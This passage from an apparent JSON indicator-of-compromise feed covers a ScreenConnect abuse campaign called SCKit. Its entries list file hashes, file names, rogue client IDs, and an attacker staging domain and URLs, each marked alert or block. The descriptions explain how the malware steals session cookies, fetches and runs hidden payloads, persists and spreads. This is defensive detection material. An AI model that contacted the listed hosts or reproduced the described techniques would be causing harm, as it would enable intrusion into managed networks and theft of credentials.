"https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" } ] }, { "value": "ToolboxRelayUploader.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Executable used to stage payloads through the ScreenConnect Toolbox in the panel-hijack campaign.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" } ] }, { "value": "2588ef5c15954b10", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Rogue ScreenConnect client ID installed on managed endpoints; it appears in the rogue ScreenConnect client service name and command line.", "source_url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "source_label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "source_name": "Sophos", "sources": [ { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "ed630cc2c873b091", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Second rogue ScreenConnect client ID installed on managed endpoints; it appears in the rogue ScreenConnect client service name and command line.", "source_url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "source_label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "source_name": "Sophos", "sources": [ { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "d905b2b1b165d0a9", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "ScreenConnect instance ID that Sophos saw issuing the malicious commands; it is likely a compromised MSP instance, not attacker-owned.", "source_url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "source_label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "source_name": "Sophos", "sources": [ { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "4b8f4089ddaac6a9", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "ScreenConnect instance ID that Sophos saw issuing the malicious commands; it is likely a compromised MSP instance, not attacker-owned.", "source_url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "source_label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "source_name": "Sophos", "sources": [ { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "df1f7ef0cfacd0d8", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "ScreenConnect instance ID that Sophos saw issuing the malicious commands; it is likely a compromised MSP instance, not attacker-owned.", "source_url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "source_label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "source_name": "Sophos", "sources": [ { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "TrapWatch", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Scheduled task that runs the trap component as SYSTEM every 10 seconds to keep the rogue ScreenConnect client and toolkit in place.", "source_url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "source_label": "Huntress Support – 2026 November ScreenConnect advisory", "source_name": "Huntress", "sources": [ { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" } ] }, { "value": "C:\\ProgramData\\RelayTrap\\", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Folder holding the trap component that impersonates the MSP's legitimate ScreenConnect client and its logs.", "source_url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "source_label": "Huntress Support – 2026 November ScreenConnect advisory", "source_name": "Huntress", "sources": [ { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" } ] }, { "value": "C:\\Windows\\Temp\\sc.msi", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Path where curl.exe saved the rogue ScreenConnect.ClientSetup.msi before msiexec.exe installed it silently.", "source_url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "source_label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "source_name": "Sophos", "sources": [ { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "amexsafekeyupdate.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Domain that a July 2026 SSA-themed batch file contacted for installer commands before checking for rogue client ID ed630cc2c873b091; it imitates American Express SafeKey branding.", "source_url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "source_label": "BleepingComputer – Active ScreenConnect attacks breach MSPs, impact dozens of organizations", "source_name": "BleepingComputer", "sources": [ { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" } ] }, { "value": "60142ea5daebbf94a2dec4009f673d9822a2fd796ac55478be1edea3136ef4bb", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SSA-2026-STATEMENT-15518787.bat, a batch file impersonating a Social Security statement that adds Defender exclusions, persists through the Startup folder and Run key, installs ScreenConnect and checks for rogue client ID ed630cc2c873b091.", "source_url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "source_label": "BleepingComputer – Active ScreenConnect attacks breach MSPs, impact dozens of organizations", "source_name": "BleepingComputer", "sources": [ { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" } ] }, { "value": "SSA-2026-STATEMENT-15518787.bat", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "File name of the July 2026 SSA-themed batch file that installs ScreenConnect and checks for rogue client ID ed630cc2c873b091.", "source_url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "source_label": "BleepingComputer – Active ScreenConnect attacks breach MSPs, impact dozens of organizations", "source_name": "BleepingComputer", "sources": [ { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" } ] }, { "value": "94b93c649b0ae0281352da9d01761fa9195ab1e6ac7010af3b9ba1646355eb11", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of Panel-Lateral-free.ps1, the SCKit worm script without its config file; it lists the attacker's own panel on a skip list.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "7a9aca9fdd4dcc13fe497cabdb13ca1e5d6a529271c8aa495e5ca1c1c80271ec", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of Panel-Lateral.ps1, the SCKit worm script that steals a technician's ScreenConnect login cookie and pushes an upload to every session the technician can reach.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "b93f10f30ee453d1e1c046fec9d141c41d7680be5cd46c3aeb3febe0f4953b4d", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of LabConfig.ps1, the SCKit helper library that decrypts cookies, probes ScreenConnect panels and builds rogue client installer URLs.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "3c7a98f0fdb6235b8076319c74dc1085f7b349b6d750416dd0cadb07d7972ec4", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of RelayTrap.cs, the C# source of the relay trap that takes the legitimate ScreenConnect client's place on the MSP relay; it is compiled per host into RelayTrap.exe.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "d2ed7a7bf4f8ac9c7969e9b3a07ebd4dda0d858f372c876ac0a041611698de9a", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of TrapWatch.ps1, which runs as SYSTEM every 10 seconds, stops the legitimate ScreenConnect client and takes over its connection slot.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "4a1dd3cd2ea14368afadf7e9dfdd63b104e3981ef8c85bbb6510919b810af04b", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of the SCKit trap install.ps1, which sets up C:\\ProgramData\\RelayTrap, the TrapWatch task, the RelayTrapLiteAlert Run key and SRP/AppLocker rules that block files pushed through ScreenConnect temp folders.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "8cb5f48bbe70b5248db7f327f3d1ad6649df5c767d2a7e0711ee147fd92e06af", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ToolboxRelayUploader.exe, a 32-bit .NET tool that joins a session as the technician with a stolen token, uploads a payload to the panel's Shared Toolbox and deletes it after the broadcast.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "cf50d73fa8117a758093b1344de41cd6a6ccddc645cdda1fa91a9264efe93956", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of Lite-Alert.ps1, which runs at logon and logs ScreenConnect file-run events (Event ID 201) and new ScreenConnect client services with on-screen alerts turned off.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "81cc2baa35b798d6084bd078662fa29ff28df02c46c6ccdb2b43bde97d19f781", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of Stage0Loader.ps1, which fetches a host-keyed payload from EadF.php?p=1, decrypts it to %TEMP%\\k.ps1, runs it hidden and deletes it.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "c31e6f075cd77e01839aebce32ed35659a9ee962d102aca53040bb5e297410a9", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of Release-Machine.cmd, the SCKit removal script that deletes the TrapWatch task, kills RelayTrap.exe, clears the SRP/AppLocker rules and restarts ScreenConnect client services.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" } ] }, { "value": "deda7c30d798a19b6699a45fbcba503cf778594df9163c61c2f96bb2d2b9fb45", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of Recover-ExecutionPolicy.cmd, an SCKit script that deletes only the SRP/AppLocker rules and stops the AppLocker service when they have blocked powershell.exe.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" } ] }, { "value": "0bd84c776dc01f784a617e73fc77b269f847fc4a062ffd489e4692869724bf08", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of lab-context.json, the SCKit config that points the worm at the attacker panel and holds the RSA key and rogue client IDs.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" } ] }, { "value": "454c43d296b1276bde9a4f6ff1da2221cb35ccdb2fc7991bdd572e45bce12a8a", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of TRAP-PROOF.bat, the SCKit trap test payload that writes %PUBLIC%\\RELAY-TRAP-PROOF.txt; in full mode the dropper is placed beside it as Run-Lateral-Full.bat.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "5dd3a6ba806ac472663e243cfc1c034c534d5d9a42ec362c3dbf0f8d950148d0", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of Stop-LabTrap.bat, which runs the SCKit decoder in cleanup mode, fetches Stop-LabTrap.ps1 from EadF.php?p=6 and re-arms the new kit.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "43b7a5e56f9e6c7b74e1ce2b7b5af63f383084625fcc2d3a5985fa1059e2db95", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of Run-Lateral-Full.bat, the SCKit dropper that downloads the decoder from EadF.php?p=4 to %TEMP%\\sckit-decoder.ps1 and copies itself into the trap payload folder for the next machine.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "50659748723e906c8b3d3c0386bd4cf692f693a3e23639398c1a14d0c31fed61", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of runnew.cmd, which downloads EadF.php with curl.exe to %TEMP%\\sckit-loader.ps1 and runs it hidden; full mode pushes it to every target.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "https://ns.mo7sen.dev/EadF.php?p=5", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Stager URL that delivers a copy of the SQLite command-line tool, which SCKit uses to read browser cookie databases and steal ScreenConnect session cookies.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" } ] }, { "value": "ns.mo7sen.dev", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker staging host that serves the SCKit loader and later encrypted stages through EadF.php.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress (2)" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" } ] }, { "value": "https://ns.mo7sen.dev/EadF.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "SCKit staging endpoint that serves the p=1, p=3, p=4, p=5 and p=6 payloads used to bootstrap the toolkit.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "a1937467fd862916f89342cdd61f55c4bc405fb35b6e1379e27cfbfdba77dcdc", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of SilentForceInstall-WithUninstall.ps1, which deploys two unauthorised ScreenConnect Access clients and stages RelayTrap components.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" } ] }, { "value": "338e37f58043635ebab64ee5fdc919935e55cb146ca97834b358f934e55e88ec", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of the p=4 decoder retrieved from EadF.php and saved as sckit-decoder.ps1.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" } ] }, { "value": "8e6912deed82e80bb6bd66f73509d024b1f78b993515366d8317e69a97cff4f4", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of the decoded p=3 toolkit bundle that holds most SCKit archive members.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "d85315bd7602b6f5c13dc0eada2c9cba0892c7cd3b1eb7dacb1bffdd536ceb21", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of a configured ScreenConnect.ClientSetup.msi that Blackpoint recovered from the campaign's staging infrastructure.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" } ] }, { "value": "C:\\Windows\\Temp\\sckit-run.bat", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Batch dropper written during the initial SCKit deployment; it fetches the p=4 decoder from EadF.php.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" } ] }, { "value": "sckit-decoder.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "PowerShell decoder saved after the p=4 request to EadF.php; it then pulls the encrypted p=3 bundle.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" } ] }, { "value": "SilentForceInstall-WithUninstall.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Installation script that deploys two unauthorised ScreenConnect Access clients and prepares RelayTrap.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" } ] }, { "value": "Stop-LabTrap.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "PowerShell cleaner retrieved through EadF.php?p=6 and saved as Stop-LabTrap.ps1.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" } ] }, { "value": "LabConfig.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Technician-side script in the p=3 archive that is used to recover ScreenConnect .ASPXAUTH cookies; it is not always copied in the active full delivery path.", "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "source_name": "Blackpoint Cyber", "sources": [ { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" } ] }, { "value": "Stage0Loader.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Stage-0 loader that requests a host-keyed payload from EadF.php?p=1 and decrypts it with a key derived from MachineGuid and the X-Lab-Half header.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" } ] }, { "value": "61a672a13f03a9e81f573535ee92b1ed6cb7e848a33a06048865312d4e185ae2", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of the sc.msi ScreenConnect installer package served by the unauthorized panel, which enrols the endpoint as a rogue client of the attacker's instance.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "source_label": "Microsoft Threat Intelligence – SCKit abuses ScreenConnect to deploy remote access and target technician sessions", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "0be01e7bd69cfdd222645d49bb5ad9961372fef2", "type": "sha1", "confidence": "med", "recommended_action": "alert", "description": "SHA1 of the sc.msi ScreenConnect installer package served by the unauthorized panel.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "source_label": "Microsoft Threat Intelligence – SCKit abuses ScreenConnect to deploy remote access and target technician sessions", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "3f81c9c874a896c46e4bccea2fad2eaa3d9f2054", "type": "sha1", 